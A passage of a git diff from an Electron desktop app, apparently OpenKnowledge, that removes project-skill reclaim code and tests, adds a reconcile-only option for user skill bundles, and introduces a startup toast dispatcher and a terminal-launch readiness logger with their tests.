readProjectSkillDecision: async () => false,- },+ executablePath: '/opt/OpenKnowledge/openknowledge',+ deps,+ seed: false,});-expect(r.status).toBe('skipped');- if (r.status === 'skipped') expect(r.reason).toBe('declined-by-user');- expect(existsSync(join(projectDir, '.claude', 'skills', 'open-knowledge', 'SKILL.md'))).toBe(- false,- );- });-- test('creating the project skill counts one install, scoped to the project', async () => {- const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));- cleanupPaths.push(projectDir);- mkdirSync(join(projectDir, '.claude'), { recursive: true });- writeFileSync(- join(projectDir, '.mcp.json'),- JSON.stringify({ mcpServers: { 'open-knowledge': { args: ['# ok-mcp-v2'] } } }),- );- const reports: Array<{ skills: string[]; scope?: string }> = [];-- await reclaimProjectSkillsOnProjectOpen({- projectDir,- executablePath: EXE,- isPackaged: true,- platform: 'darwin',- createIfWired: true,- deps: {- resolveBundledSkillDir: () => setupBundle(),- reportInstalled: (skills, scope) => reports.push({ skills: [...skills], scope }),- },- });-- expect(reports).toEqual([{ skills: ['open-knowledge'], scope: projectDir }]);- });-- test('reopening a project that already has the skill counts nothing', async () => {- const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));- cleanupPaths.push(projectDir);- const dest = join(projectDir, '.claude', 'skills', 'open-knowledge');- mkdirSync(dest, { recursive: true });- writeFileSync(join(dest, 'SKILL.md'), 'already here');- writeFileSync(- join(projectDir, '.mcp.json'),- JSON.stringify({ mcpServers: { 'open-knowledge': { args: ['# ok-mcp-v2'] } } }),- );- const reports: Array<{ skills: string[]; scope?: string }> = [];-- await reclaimProjectSkillsOnProjectOpen({- projectDir,- executablePath: EXE,- isPackaged: true,- platform: 'darwin',- createIfWired: true,- deps: {- resolveBundledSkillDir: () => setupBundle(),- reportInstalled: (skills, scope) => reports.push({ skills: [...skills], scope }),- },- });-- expect(reports).toEqual([]);- });-- test('no SKILL.md on disk → no-token, no creation', async () => {- const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));- cleanupPaths.push(projectDir);- const r = await reclaimProjectSkillsOnProjectOpen({- projectDir,- executablePath: EXE,- isPackaged: true,- platform: 'darwin',- deps: { resolveBundledSkillDir: () => setupBundle() },- });- expect(r.status).toBe('done');- if (r.status === 'done') {- expect(r.entries.every((e) => e.status === 'no-token')).toBe(true);- }- expect(existsSync(join(projectDir, '.claude'))).toBe(false);- expect(existsSync(join(projectDir, '.cursor'))).toBe(false);- expect(existsSync(join(projectDir, '.agents'))).toBe(false);- });-- test('codex project skill at .codex/skills/open-knowledge is left present, not overwritten', async () => {- const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));- cleanupPaths.push(projectDir);- const codexSkill = join(projectDir, '.codex', 'skills', 'open-knowledge');- mkdirSync(codexSkill, { recursive: true });- writeFileSync(join(codexSkill, 'SKILL.md'), '---\nname: open-knowledge\n---\n# v-old\n');- const bundle = setupBundle();- const r = await reclaimProjectSkillsOnProjectOpen({- projectDir,- executablePath: EXE,- isPackaged: true,- platform: 'darwin',- deps: { resolveBundledSkillDir: () => bundle },- });- expect(r.status).toBe('done');- if (r.status === 'done') {- const codex = r.entries.find((e) => e.editorId === 'codex');- expect(codex?.status).toBe('present');- }- expect(readFileSync(join(codexSkill, 'SKILL.md'), 'utf8')).toContain('v-old');- expect(existsSync(join(projectDir, '.claude'))).toBe(false);- });-- test('seed-if-absent: existing project SKILL.md keeps its content', async () => {- const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));- cleanupPaths.push(projectDir);- const claudeSkill = join(projectDir, '.claude', 'skills', 'open-knowledge');- mkdirSync(claudeSkill, { recursive: true });- writeFileSync(join(claudeSkill, 'SKILL.md'), '---\nname: open-knowledge\n---\n# v-old\n');- const bundle = setupBundle();- const r = await reclaimProjectSkillsOnProjectOpen({- projectDir,- executablePath: EXE,- isPackaged: true,- platform: 'darwin',- deps: { resolveBundledSkillDir: () => bundle },- });- expect(r.status).toBe('done');- if (r.status === 'done') {- const claude = r.entries.find((e) => e.editorId === 'claude');- expect(claude?.status).toBe('present');- }- expect(readFileSync(join(claudeSkill, 'SKILL.md'), 'utf8')).toContain('v-old');- expect(existsSync(join(projectDir, '.cursor'))).toBe(false);+ if (r.status === 'skipped') expect(r.reason).toBe('reconcile-only');+ expect(existsSync(join(home, '.claude', 'skills', 'open-knowledge-discovery'))).toBe(false);+ expect(deps.stateWrites).toEqual([]);});- test('a host whose replaceDir throws is reported failed, not crashed', async () => {- const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));- cleanupPaths.push(projectDir);- const r = await reclaimProjectSkillsOnProjectOpen({- projectDir,- executablePath: EXE,+ test('reconcile-only still removes the legacy open-knowledge user skill folder', async () => {+ const home = makeHome();+ const legacy = join(home, '.claude', 'skills', 'open-knowledge');+ mkdirSync(legacy, { recursive: true });+ writeFileSync(join(legacy, 'SKILL.md'), 'legacy');+ const deps = makeDeps({ bundle: setupBundle(), version: '1.0.0' });+ const r = await reconcileUserGlobalSkillBundles({+ home,isPackaged: true,platform: 'darwin',- createIfWired: true,- deps: { resolveBundledSkillDir: () => setupBundle() },- fs: {- existsSync: (p: string) => !String(p).endsWith('SKILL.md'),- isDirectory: () => false,- readdirSync: () => [],- readFileSync: () => Buffer.from(OK_WIRED_MCP_JSON),- writeFileSync: () => {- throw new Error('EACCES: permission denied');- },- mkdirSync: () => {- throw new Error('EACCES: permission denied');- },- rmSync: () => {},- },- });- expect(r.status).toBe('done');- if (r.status === 'done') {- expect(r.entries.length).toBeGreaterThan(0);- expect(r.entries.every((e) => e.status === 'failed')).toBe(true);- }- });-- test('reclaim disable env short-circuits', async () => {- const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));- cleanupPaths.push(projectDir);- const r = await reclaimProjectSkillsOnProjectOpen({- projectDir,executablePath: EXE,- isPackaged: true,- platform: 'darwin',- reclaimDisableEnv: '1',- deps: { resolveBundledSkillDir: () => setupBundle() },+ deps,+ seed: false,});expect(r.status).toBe('skipped');- if (r.status === 'skipped') expect(r.reason).toBe('reclaim-disabled');- });-});--describe('reclaimProjectSkillsOnProjectOpen — createIfWired (managed heal path)', () => {- test('creates SKILL.md for a host wired for OK MCP but missing the skill', async () => {- const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));- cleanupPaths.push(projectDir);- writeFileSync(join(projectDir, '.mcp.json'), OK_WIRED_MCP_JSON);- const bundle = setupBundle();- const events: Array<Record<string, unknown>> = [];- const r = await reclaimProjectSkillsOnProjectOpen({- projectDir,- executablePath: EXE,- isPackaged: true,- platform: 'darwin',- createIfWired: true,- deps: { resolveBundledSkillDir: () => bundle },- logger: { event: (e) => events.push(e), warn: () => {} },- });- expect(r.status).toBe('done');- if (r.status === 'done') {- expect(r.entries.find((e) => e.editorId === 'claude')?.status).toBe('created');- expect(r.entries.find((e) => e.editorId === 'cursor')?.status).toBe('no-token');- expect(r.entries.find((e) => e.editorId === 'codex')?.status).toBe('no-token');- }- const skillFile = join(projectDir, '.claude', 'skills', 'open-knowledge', 'SKILL.md');- expect(existsSync(skillFile)).toBe(true);- expect(readFileSync(skillFile, 'utf8')).toContain('v-new');- expect(- events.some((e) => e.event === 'project-skill-reclaim-created' && e.editorId === 'claude'),- ).toBe(true);- });-- test('creates SKILL.md for a host wired with the Windows chain sentinel', async () => {- const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));- cleanupPaths.push(projectDir);- writeFileSync(join(projectDir, '.mcp.json'), OK_WIRED_MCP_JSON_WIN);- const r = await reclaimProjectSkillsOnProjectOpen({- projectDir,- executablePath: EXE,- isPackaged: true,- platform: 'darwin',- createIfWired: true,- deps: { resolveBundledSkillDir: () => setupBundle() },- });- expect(r.status).toBe('done');- if (r.status === 'done') {- expect(r.entries.find((e) => e.editorId === 'claude')?.status).toBe('created');- }- expect(existsSync(join(projectDir, '.claude', 'skills', 'open-knowledge', 'SKILL.md'))).toBe(- true,- );- });-- test('creates SKILL.md for cursor host wired via .cursor/mcp.json', async () => {- const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));- cleanupPaths.push(projectDir);- mkdirSync(join(projectDir, '.cursor'), { recursive: true });- writeFileSync(join(projectDir, '.cursor', 'mcp.json'), OK_WIRED_MCP_JSON);- const r = await reclaimProjectSkillsOnProjectOpen({- projectDir,- executablePath: EXE,- isPackaged: true,- platform: 'darwin',- createIfWired: true,- deps: { resolveBundledSkillDir: () => setupBundle() },- });- expect(r.status).toBe('done');- if (r.status === 'done') {- expect(r.entries.find((e) => e.editorId === 'cursor')?.status).toBe('created');- expect(r.entries.find((e) => e.editorId === 'claude')?.status).toBe('no-token');- }- expect(existsSync(join(projectDir, '.cursor', 'skills', 'open-knowledge', 'SKILL.md'))).toBe(- true,- );+ expect(existsSync(legacy)).toBe(false);});- test('creates SKILL.md for codex host wired via .codex/config.toml (TOML, marker substring)', async () => {- const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));- cleanupPaths.push(projectDir);- mkdirSync(join(projectDir, '.codex'), { recursive: true });- writeFileSync(- join(projectDir, '.codex', 'config.toml'),- '[mcp_servers.open-knowledge]\ncommand = "/bin/sh"\nargs = ["-l", "-c", "# ok-mcp-v1\\nexec ok mcp"]\n',- );- const r = await reclaimProjectSkillsOnProjectOpen({- projectDir,- executablePath: EXE,- isPackaged: true,- platform: 'darwin',- createIfWired: true,- deps: { resolveBundledSkillDir: () => setupBundle() },- });- expect(r.status).toBe('done');- if (r.status === 'done') {- expect(r.entries.find((e) => e.editorId === 'codex')?.status).toBe('created');- expect(r.entries.find((e) => e.editorId === 'claude')?.status).toBe('no-token');- }- expect(existsSync(join(projectDir, '.codex', 'skills', 'open-knowledge', 'SKILL.md'))).toBe(- true,- );- });-- test('does NOT create when a host config exists but has no OK marker', async () => {- const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));- cleanupPaths.push(projectDir);- writeFileSync(join(projectDir, '.mcp.json'), UNWIRED_MCP_JSON);- const r = await reclaimProjectSkillsOnProjectOpen({- projectDir,- executablePath: EXE,- isPackaged: true,- platform: 'darwin',- createIfWired: true,- deps: { resolveBundledSkillDir: () => setupBundle() },- });- expect(r.status).toBe('done');- if (r.status === 'done') {- expect(r.entries.every((e) => e.status === 'no-token')).toBe(true);- }- expect(existsSync(join(projectDir, '.claude', 'skills'))).toBe(false);- });-- test('without createIfWired, a wired host stays no-token (default no-create preserved)', async () => {- const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));- cleanupPaths.push(projectDir);- writeFileSync(join(projectDir, '.mcp.json'), OK_WIRED_MCP_JSON);- const r = await reclaimProjectSkillsOnProjectOpen({- projectDir,- executablePath: EXE,- isPackaged: true,- platform: 'darwin',- deps: { resolveBundledSkillDir: () => setupBundle() },- });- expect(r.status).toBe('done');- if (r.status === 'done') {- expect(r.entries.every((e) => e.status === 'no-token')).toBe(true);- }- expect(existsSync(join(projectDir, '.claude'))).toBe(false);- });-- test('existing SKILL.md is left present even when wired (never re-created)', async () => {- const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));- cleanupPaths.push(projectDir);- const claudeSkill = join(projectDir, '.claude', 'skills', 'open-knowledge');- mkdirSync(claudeSkill, { recursive: true });- writeFileSync(join(claudeSkill, 'SKILL.md'), '---\nname: open-knowledge\n---\n# v-old\n');- writeFileSync(join(projectDir, '.mcp.json'), OK_WIRED_MCP_JSON);- const r = await reclaimProjectSkillsOnProjectOpen({- projectDir,- executablePath: EXE,+ test('reconcile-only still removes a bundle the user declined', async () => {+ const home = makeHome();+ const dir = join(home, '.agents', 'skills', 'open-knowledge-discovery');+ mkdirSync(dir, { recursive: true });+ writeFileSync(join(dir, 'SKILL.md'), 'preexisting');+ const deps = makeDeps({ bundle: setupBundle(), bundleDecision: false });+ const r = await reconcileUserGlobalSkillBundles({+ home,isPackaged: true,platform: 'darwin',- createIfWired: true,- deps: { resolveBundledSkillDir: () => setupBundle() },- });- expect(r.status).toBe('done');- if (r.status === 'done') {- expect(r.entries.find((e) => e.editorId === 'claude')?.status).toBe('present');- }- expect(readFileSync(join(claudeSkill, 'SKILL.md'), 'utf8')).toContain('v-old');- });-- test('refuses to create through a host-dir symlink escaping the project', async () => {- const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));- cleanupPaths.push(projectDir);- const escapeTarget = mkdtempSync(join(tmpdir(), 'ok-escape-'));- cleanupPaths.push(escapeTarget);- const witness = join(escapeTarget, 'witness.txt');- writeFileSync(witness, 'do-not-touch');- symlinkSync(escapeTarget, join(projectDir, '.claude'));- writeFileSync(join(projectDir, '.mcp.json'), OK_WIRED_MCP_JSON);- const r = await reclaimProjectSkillsOnProjectOpen({- projectDir,executablePath: EXE,- isPackaged: true,- platform: 'darwin',- createIfWired: true,- deps: { resolveBundledSkillDir: () => setupBundle() },+ deps,+ seed: false,});- expect(r.status).toBe('done');- if (r.status === 'done') {- const claude = r.entries.find((e) => e.editorId === 'claude');- expect(claude?.status).toBe('failed');- expect(claude?.error ?? '').toMatch(/outside the project directory|symbolic link/i);- }- expect(readFileSync(witness, 'utf8')).toBe('do-not-touch');+ expect(r.status).toBe('skipped');+ expect(deps.removals).toEqual(['discovery']);+ expect(deps.stateWrites).toEqual([]);});});diff --git a/packages/desktop/src/main/skill-reclaim.ts b/packages/desktop/src/main/skill-reclaim.tsindex ff28e4bc3..10ce70ceb 100644--- a/packages/desktop/src/main/skill-reclaim.ts+++ b/packages/desktop/src/main/skill-reclaim.ts@@ -8,11 +8,7 @@ import {writeFileSync as fsWriteFileSync,} from 'node:fs';import { dirname, join } from 'node:path';-import {- assertProjectPathSafe,- EDITOR_TARGETS,- HOSTS_WITH_USER_SKILL_DIR,-} from '@inkeep/open-knowledge';+import { HOSTS_WITH_USER_SKILL_DIR } from '@inkeep/open-knowledge';import { resolveBundleEnabled, USER_SKILL_HOSTS } from '@inkeep/open-knowledge-core';import { classifyInstallShape } from './install-shape.ts';@@ -26,9 +22,6 @@ const DEFAULT_LOGGER: SkillReclaimLogger = {warn: (message, ctx) => console.warn('[skill-reclaim]', message, ctx ?? ''),};-const OK_MCP_MARKER = '# ok-mcp-';--const PROJECT_SKILL_DIR_NAME = 'open-knowledge';const LEGACY_SKILL_DIR_NAME = 'open-knowledge';interface SkillFsOps {@@ -134,6 +127,7 @@ interface ReclaimUserSkillsOpts {env?: Record<string, string | undefined>;forceEnv?: string | null | undefined;reclaimDisableEnv?: string | null | undefined;+ seed?: boolean;deps: {userGlobalBundles: ReadonlyArray<{ id: string; name: string }>;resolveBundledSkillDir(bundle: string): string;@@ -303,7 +297,7 @@ function userBundleExists(home: string, bundleName: string, fs: SkillFsOps): boo);}-export async function reclaimUserSkillsOnLaunch(+export async function reconcileUserGlobalSkillBundles(opts: ReclaimUserSkillsOpts,): Promise<UserSkillReclaimResult> {const {@@ -414,6 +408,10 @@ export async function reclaimUserSkillsOnLaunch(return { status: 'skipped', reason: 'all-bundles-declined' };}+ if (opts.seed === false) {+ return { status: 'skipped', reason: 'reconcile-only' };+ }+const entries: UserSkillReclaimEntry[] = [];const installedBundleNames: string[] = [];const bundleResults: Array<{ id: string; landed: boolean; failed: boolean }> = [];@@ -478,155 +476,3 @@ export async function reclaimUserSkillsOnLaunch(return { status: 'done', version, entries };}--type ProjectSkillReclaimEntry = {- editorId: string;- hostDir: string;- path: string;- status: 'no-token' | 'present' | 'created' | 'failed';- error?: string;-};--type ProjectSkillReclaimResult =- | { status: 'skipped'; reason: string }- | { status: 'done'; entries: ProjectSkillReclaimEntry[] };--interface ReclaimProjectSkillsOpts {- projectDir: string;- executablePath: string;- isPackaged: boolean;- platform: 'darwin' | 'win32' | 'linux' | string;- env?: Record<string, string | undefined>;- forceEnv?: string | null | undefined;- reclaimDisableEnv?: string | null | undefined;- createIfWired?: boolean;- deps: {- resolveBundledSkillDir(): string;- reportInstalled?(skillNames: readonly string[], scope?: string): void;- readProjectSkillDecision?(projectDir: string): Promise<boolean | null>;- };- fs?: SkillFsOps;- logger?: SkillReclaimLogger;-}--function editorWiredForOk(configPath: string | undefined, fs: SkillFsOps): boolean {- if (!configPath) return false;- try {- if (!fs.existsSync(configPath)) return false;- const bytes = fs.readFileSync(configPath).toString('utf8');- return bytes.includes(OK_MCP_MARKER);- } catch {- return false;- }-}--export async function reclaimProjectSkillsOnProjectOpen(- opts: ReclaimProjectSkillsOpts,-): Promise<ProjectSkillReclaimResult> {- const {- projectDir,- executablePath,- isPackaged,- platform,- forceEnv,- reclaimDisableEnv,- createIfWired = false,- deps,- fs = defaultFsOps,- logger = DEFAULT_LOGGER,- } = opts;-- if (reclaimDisableEnv === '1') return { status: 'skipped', reason: 'reclaim-disabled' };- if (!isPackaged && forceEnv !== '1') return { status: 'skipped', reason: 'dev-mode' };- const installShape = classifyInstallShape(platform, executablePath, opts.env ?? process.env);- if (installShape.kind === 'appimage') {- return { status: 'skipped', reason: 'appimage-ephemeral' };- }- if (installShape.kind === 'unsupported') {- return { status: 'skipped', reason: 'bad-executable-path' };- }-- let sourceDir: string;- try {- sourceDir = deps.resolveBundledSkillDir();- } catch (err) {- const error = err instanceof Error ? err.message : String(err);- logger.event({ event: 'project-skill-reclaim-bundle-missing', error });- return { status: 'skipped', reason: 'bundle-missing' };- }-- const skillDecision =- (await deps.readProjectSkillDecision?.(projectDir).catch(() => null)) ?? null;- if (skillDecision === false) {- logger.event({ event: 'project-skill-reclaim-declined-by-user', projectDir });- return { status: 'skipped', reason: 'declined-by-user' };- }-- const entries: ProjectSkillReclaimEntry[] = [];- for (const host of HOSTS_WITH_USER_SKILL_DIR) {- const dest = join(projectDir, host.hostDir, 'skills', PROJECT_SKILL_DIR_NAME);- const skillFile = join(dest, 'SKILL.md');- const skillExists = fs.existsSync(skillFile);- if (skillExists) {- entries.push({- editorId: host.editorId,- hostDir: host.hostDir,- path: dest,- status: 'present',- });- continue;- }- const projectConfigPath = EDITOR_TARGETS[host.editorId]?.projectConfigPath?.(projectDir);- const wired = createIfWired && editorWiredForOk(projectConfigPath, fs);- if (!wired) {- entries.push({- editorId: host.editorId,- hostDir: host.hostDir,- path: dest,- status: 'no-token',- });- logger.event({- event: 'project-skill-reclaim-no-token',- editorId: host.editorId,- path: dest,- });- continue;- }- try {- assertProjectPathSafe(dest, projectDir);- replaceDir(sourceDir, dest, fs);- entries.push({- editorId: host.editorId,- hostDir: host.hostDir,- path: dest,- status: 'created',- });- logger.event({- event: 'project-skill-reclaim-created',- editorId: host.editorId,- path: dest,- });- } catch (err) {- const error = err instanceof Error ? err.message : String(err);- entries.push({- editorId: host.editorId,- hostDir: host.hostDir,- path: dest,- status: 'failed',- error,- });- logger.event({- event: 'project-skill-reclaim-failed',- editorId: host.editorId,- path: dest,- error,- });- }- }-- if (entries.some((e) => e.status === 'created')) {- deps.reportInstalled?.([PROJECT_SKILL_DIR_NAME], projectDir);- }-- return { status: 'done', entries };-}diff --git a/packages/desktop/src/main/startup-toast-dispatch.test.ts b/packages/desktop/src/main/startup-toast-dispatch.test.tsnew file mode 100644index 000000000..d328bfcf1--- /dev/null+++ b/packages/desktop/src/main/startup-toast-dispatch.test.ts@@ -0,0 +1,154 @@+import { describe, expect, test, vi } from 'vitest';+import {+ dispatchStartupToastAcrossLoads,+ STARTUP_TOAST_REDELIVERY_WINDOW_MS,+ type StartupToastPayload,+ type StartupToastWindow,+} from './startup-toast-dispatch.ts';++const PAYLOAD: StartupToastPayload = {+ kind: 'startup-reclaim',+ mcp: {+ status: 'failed',+ failures: [{ editor: 'cursor', reason: 'EACCES' }],+ repaired: ['claude'],+ },+ path: { status: 'none' },+};++function fakeWindow(opts: { loading?: boolean } = {}) {+ const loadListeners = new Set<() => void>();+ const closedListeners = new Set<() => void>();+ let loading = opts.loading ?? false;+ let destroyed = false;+ const send = vi.fn();+ const win: StartupToastWindow = {+ isDestroyed: () => destroyed,+ webContents: {+ isLoading: () => loading,+ isDestroyed: () => destroyed,+ send,+ on: (_event, listener) => loadListeners.add(listener),+ off: (_event, listener) => loadListeners.delete(listener),+ },+ once: (_event, listener) => closedListeners.add(listener),+ };+ return {+ win,+ send,+ finishLoad: () => {+ loading = false;+ for (const listener of loadListeners) listener();+ },+ close: () => {+ destroyed = true;+ for (const listener of closedListeners) listener();+ },+ loadListenerCount: () => loadListeners.size,+ };+}++function harness(windows: StartupToastWindow[] = []) {+ let clock = 1_000;+ const created = new Set<(win: StartupToastWindow) => void>();+ const timers: { fn: () => void; ms: number }[] = [];+ const warn = vi.fn();+ const deps = {+ getAllWindows: () => windows,+ onWindowCreated: (listener: (win: StartupToastWindow) => void) => {+ created.add(listener);+ return () => created.delete(listener);+ },+ setTimeout: (fn: () => void, ms: number) => timers.push({ fn, ms }),+ now: () => clock,+ warn,+ };+ return {+ deps,+ warn,+ advance: (ms: number) => {+ clock += ms;+ },+ createWindow: (win: StartupToastWindow) => {+ for (const listener of created) listener(win);+ },+ fireTimers: () => {+ for (const timer of timers.splice(0)) timer.fn();+ },+ createdListenerCount: () => created.size,+ };+}++describe('dispatchStartupToastAcrossLoads', () => {+ test('a window that is already loaded gets the payload once', () => {+ const first = fakeWindow();+ const h = harness([first.win]);+ const handle = dispatchStartupToastAcrossLoads(PAYLOAD, h.deps);+ expect(first.send).toHaveBeenCalledTimes(1);+ expect(first.send).toHaveBeenCalledWith('ok:onboarding:toast', PAYLOAD);+ expect(handle.deliveries()).toBe(1);+ });++ test('a window still loading gets the payload on did-finish-load, not before', () => {+ const first = fakeWindow({ loading: true });+ const h = harness([first.win]);+ dispatchStartupToastAcrossLoads(PAYLOAD, h.deps);+ expect(first.send).not.toHaveBeenCalled();+ first.finishLoad();+ expect(first.send).toHaveBeenCalledTimes(1);+ });++ test('the same window loading a new document within the window is served again', () => {+ const first = fakeWindow();+ const h = harness([first.win]);+ dispatchStartupToastAcrossLoads(PAYLOAD, h.deps);+ h.advance(6_000);+ first.finishLoad();+ expect(first.send).toHaveBeenCalledTimes(2);+ });++ test('a window created after the first one closes is served on its first load', () => {+ const first = fakeWindow();+ const h = harness([first.win]);+ dispatchStartupToastAcrossLoads(PAYLOAD, h.deps);+ const second = fakeWindow({ loading: true });+ h.advance(6_000);+ h.createWindow(second.win);+ first.close();+ expect(second.send).not.toHaveBeenCalled();+ second.finishLoad();+ expect(second.send).toHaveBeenCalledTimes(1);+ expect(first.send).toHaveBeenCalledTimes(1);+ expect(first.loadListenerCount()).toBe(0);+ });++ test('loads after the redelivery window get nothing and every listener is detached', () => {+ const first = fakeWindow();+ const h = harness([first.win]);+ dispatchStartupToastAcrossLoads(PAYLOAD, h.deps);+ h.advance(STARTUP_TOAST_REDELIVERY_WINDOW_MS + 1);+ first.finishLoad();+ expect(first.send).toHaveBeenCalledTimes(1);+ h.fireTimers();+ expect(first.loadListenerCount()).toBe(0);+ expect(h.createdListenerCount()).toBe(0);+ const late = fakeWindow();+ h.createWindow(late.win);+ expect(late.send).not.toHaveBeenCalled();+ });++ test('a send that throws is warned about and does not block other windows', () => {+ const broken = fakeWindow();+ broken.send.mockImplementation(() => {+ throw new Error('channel closed');+ });+ const healthy = fakeWindow();+ const h = harness([broken.win, healthy.win]);+ const handle = dispatchStartupToastAcrossLoads(PAYLOAD, h.deps);+ expect(h.warn).toHaveBeenCalledWith('[main] startup reclaim toast send failed', {+ err: expect.objectContaining({ message: 'channel closed' }),+ });+ expect(healthy.send).toHaveBeenCalledTimes(1);+ expect(handle.deliveries()).toBe(1);+ });+});diff --git a/packages/desktop/src/main/startup-toast-dispatch.ts b/packages/desktop/src/main/startup-toast-dispatch.tsnew file mode 100644index 000000000..34e7ee102--- /dev/null+++ b/packages/desktop/src/main/startup-toast-dispatch.ts@@ -0,0 +1,76 @@+import type { EventChannels } from '../shared/ipc-events.ts';+import { sendToRenderer } from '../shared/ipc-send.ts';++export type StartupToastPayload = EventChannels['ok:onboarding:toast']['payload'];++interface StartupToastWebContents {+ isLoading(): boolean;+ isDestroyed(): boolean;+ send(channel: string, ...args: unknown[]): void;+ on(event: 'did-finish-load', listener: () => void): unknown;+ off(event: 'did-finish-load', listener: () => void): unknown;+}++export interface StartupToastWindow {+ isDestroyed(): boolean;+ readonly webContents: StartupToastWebContents;+ once(event: 'closed', listener: () => void): unknown;+}++interface StartupToastDispatchDeps {+ getAllWindows(): readonly StartupToastWindow[];+ onWindowCreated(listener: (win: StartupToastWindow) => void): () => void;+ setTimeout(fn: () => void, ms: number): unknown;+ now(): number;+ warn(message: string, context: Record<string, unknown>): void;+}++export const STARTUP_TOAST_REDELIVERY_WINDOW_MS = 60_000;++export function dispatchStartupToastAcrossLoads(+ payload: StartupToastPayload,+ deps: StartupToastDispatchDeps,+): { deliveries: () => number } {+ const startedAt = deps.now();+ let deliveries = 0;+ const detachers: (() => void)[] = [];+ const withinWindow = () => deps.now() - startedAt <= STARTUP_TOAST_REDELIVERY_WINDOW_MS;++ const deliver = (wc: StartupToastWebContents): void => {+ if (wc.isDestroyed()) return;+ try {+ sendToRenderer(wc, 'ok:onboarding:toast', payload);+ deliveries += 1;+ } catch (err) {+ deps.warn('[main] startup reclaim toast send failed', { err });+ }+ };++ const attach = (win: StartupToastWindow): void => {+ if (win.isDestroyed()) return;+ const wc = win.webContents;+ const onLoad = (): void => {+ if (withinWindow()) deliver(wc);+ };+ wc.on('did-finish-load', onLoad);+ const detach = (): void => {+ try {+ wc.off('did-finish-load', onLoad);+ } catch {}+ };+ detachers.push(detach);+ win.once('closed', detach);+ if (!wc.isLoading()) deliver(wc);+ };++ for (const win of deps.getAllWindows()) attach(win);+ const stopCreated = deps.onWindowCreated((win) => {+ if (withinWindow()) attach(win);+ });+ deps.setTimeout(() => {+ stopCreated();+ for (const detach of detachers) detach();+ }, STARTUP_TOAST_REDELIVERY_WINDOW_MS);++ return { deliveries: () => deliveries };+}diff --git a/packages/desktop/src/main/terminal-gate-observation.test.ts b/packages/desktop/src/main/terminal-gate-observation.test.tsnew file mode 100644index 000000000..57cee2f1f--- /dev/null+++ b/packages/desktop/src/main/terminal-gate-observation.test.ts@@ -0,0 +1,113 @@+import type { HostSnapshot, ProbeWorkItem } from '@inkeep/open-knowledge-core';+import { buildProbeSnapshot, EMPTY_DETECTION_SNAPSHOT } from '@inkeep/open-knowledge-core';+import { describe, expect, it, vi } from 'vitest';+import { observeTerminalLaunch } from './terminal-gate-observation.ts';++const answersAbsent = (_item: ProbeWorkItem) => ({ state: 'absent' }) as const;++async function snapshotOfAnEmptyMachine(): Promise<HostSnapshot> {+ return {+ probes: await buildProbeSnapshot({ env: 'desktop', resolve: answersAbsent }),+ detection: EMPTY_DETECTION_SNAPSHOT,+ };+}++function captureLog(): {+ log: { info: ReturnType<typeof vi.fn>; warn: ReturnType<typeof vi.fn> };+} {+ return { log: { info: vi.fn(), warn: vi.fn() } };+}++describe('observing a docked-terminal launch', () => {+ it('records the verdict for the agent whose CLI is launching', async () => {+ const { log } = captureLog();++ await observeTerminalLaunch({+ launchCli: 'claude',+ projectRoot: '/tmp/some-project',+ log,+ snapshot: snapshotOfAnEmptyMachine,+ });++ expect(log.info).toHaveBeenCalledTimes(1);+ const [fields, message] = log.info.mock.calls[0] ?? [];+ expect(message).toBe('[agent-gate] readiness');+ expect(fields).toMatchObject({+ site: 'terminal',+ mode: 'terminal',+ agent: 'claude',+ registered: true,+ });+ });++ it('reads the project scope at the directory the shell will run in', async () => {+ const { log } = captureLog();+ const snapshot = vi.fn(snapshotOfAnEmptyMachine);++ await observeTerminalLaunch({+ launchCli: 'codex',+ projectRoot: '/tmp/a-different-project',+ log,+ snapshot,+ });++ expect(snapshot).toHaveBeenCalledWith('/tmp/a-different-project');+ });++ it('carries no free-form text into the record', async () => {+ const { log } = captureLog();++ await observeTerminalLaunch({+ launchCli: 'claude',+ projectRoot: '/tmp/some-project',+ log,+ snapshot: snapshotOfAnEmptyMachine,+ });++ const [fields] = log.info.mock.calls[0] ?? [];+ expect(Object.keys(fields as object).sort()).toEqual([+ 'agent',+ 'mcp',+ 'mcpConfidence',+ 'mode',+ 'registered',+ 'site',+ 'skill',+ 'skillConfidence',+ 'verdict',+ ]);+ });++ it('launches an unknown CLI id without naming it in the record', async () => {+ const { log } = captureLog();++ await observeTerminalLaunch({+ launchCli: 'some-cli-we-never-shipped',+ projectRoot: '/tmp/some-project',+ log,+ snapshot: snapshotOfAnEmptyMachine,+ });++ const [fields] = log.info.mock.calls[0] ?? [];+ expect(fields).toMatchObject({ site: 'terminal', agent: null, registered: false });+ expect(JSON.stringify(fields)).not.toContain('some-cli-we-never-shipped');+ });++ it('resolves rather than throws when the machine cannot be read', async () => {+ const { log } = captureLog();++ await expect(+ observeTerminalLaunch({+ launchCli: 'claude',+ projectRoot: '/tmp/some-project',+ log,+ snapshot: async () => {+ throw new Error('probe failed');+ },+ }),+ ).resolves.toBeUndefined();++ expect(log.warn).toHaveBeenCalledTimes(1);+ expect(log.info).not.toHaveBeenCalled();+ });+});diff --git a/packages/desktop/src/main/terminal-gate-observation.ts b/packages/desktop/src/main/terminal-gate-observation.tsnew file mode 100644index 000000000..f62339c17--- /dev/null+++ b/packages/desktop/src/main/terminal-gate-observation.ts@@ -0,0 +1,21 @@+import { agentIdForTerminalCli, type HostSnapshot } from '@inkeep/open-knowledge-core';+import { observeReadiness, type ReadinessObservationLogger } from '@inkeep/open-knowledge-server';++export interface TerminalGateObservationOptions {+ readonly launchCli: string;+ readonly projectRoot: string;+ readonly log: ReadinessObservationLogger;+ readonly snapshot: (projectRoot: string) => Promise<HostSnapshot>;+}++export async function observeTerminalLaunch(+ options: TerminalGateObservationOptions,+): Promise<void> {+ await observeReadiness({+ site: 'terminal',+ agentId: agentIdForTerminalCli(options.launchCli) ?? 